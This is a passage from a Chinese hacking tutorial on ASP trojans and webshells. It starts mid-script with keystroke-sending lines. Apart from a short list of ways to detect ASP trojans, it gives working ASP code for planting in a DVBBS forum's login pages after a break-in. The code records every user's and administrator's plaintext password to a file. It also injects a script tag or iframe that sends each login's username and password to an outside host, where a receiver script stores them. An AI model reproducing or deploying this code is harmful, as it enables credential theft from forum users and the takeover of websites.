菜鸟是如何变成ASP木马高手的！

　WScript.Sleep 1000

　　WshShell.SendKeys"^v"

　　WshShell.SendKeys i

　　WshShell.SendKeys "%s"

　　Next

　　8．搜索：程序制作：万鹏 有免费申请空间的，直接上传asp马即可

　　9. 名称：全面找出你站上的ASP木马

　　（1） 用杀毒软件

　　（2） 用FTP客户端软件，点"工具"->"比较文件夹"

　　（3） 用asplist2.0.asp上传到站点空间查看，一般功能多的ASP我估计就是ASP木马

　　（4） 用工具Beyond Compare

　　10名称：拓展思路拿DVBBS帐号 "一个人的圣经"的动画

　　（1）以前获得webshell后想进入DVBBS的后台,想要管理员的密码，可以这样

　　老办法:

　　修改admin_login.asp得到明文DVBBS后台密码

　　在"username=trim(replace(request("username")这行后面

　　Dim fsoObject

　　Dim tsObject

　　Set fsoObject = Server.createObject("Scripting.FileSystemObject")

　　set tsObject = fsoObject.createTextFile(Server.MapPath("laner.txt"))

　　tsObject.Write CStr(request("password"))

　　Set fsoObject = Nothing

　　Set tsObject = Nothing

　　只要管理员登陆后台，在目录下就生成了laner.txt

　　（2）login.asp中Case "login_chk"下:

　　on error resume next

　　Dim rain

　　set rain=server.createobject("adodb.stream")

　　rain.Type=2

　　rain.CharSet="gb2312"

　　rain.Position=rain.Size

　　rain.Open

　　rain.LoadFromFile server.MapPath("laner.asp")

　　rain.writetext now&request("username")&"text:"&request("password")&chr(10)

　　rain.SaveToFile server.MapPath("laner.asp"),2

　　rain.Close

　　set rain=nothing

　　这样laner.asp将获得全部登陆人的登陆时间，用户名和密码

　　（3）如果你有自己的网站或者另外的webshell(强烈建议使用):

　　可以建立目录laner,在里面建立一个空的laner.asp和如下代码的rain.asp:

　　<%if request("n")<>"" and request("p")<>"" then

　　on error resume next

　　Dim rain

　　set rain=server.createobject("adodb.stream")

　　rain.Type=2

　　rain.CharSet="gb2312"

　　rain.Position=rain.Size

　　rain.Open

　　rain.LoadFromFile server.MapPath("laner.asp")

　　rain.writetext now&"Name:"&request("n")&"Password:"&request("p")&chr(10)

　　rain.SaveToFile server.MapPath("laner.asp"),2

　　rain.Close

　　set rain=nothing

　　end if%>

　　11. 名称：利用QQ在线状态抓鸽子肉鸡

　　生成qq在线状态，把里面的地址改成木马地址，发到论坛在login.asp那里插入一句:

　　response.write"<scriptsrc=http://www.ptlushi.com/laner/rain.asp?n="&request("username")&""&"&p="&request("password")&"></script>"response.write"<iframesrc=http://yourwebsite/laner/rain.asp?n="&request("username")&""&"&p="&request("password")&"></iframe>"

　　结果所有登陆人都会乖乖的把名字和密码送到你的laner.asp 里

最新评论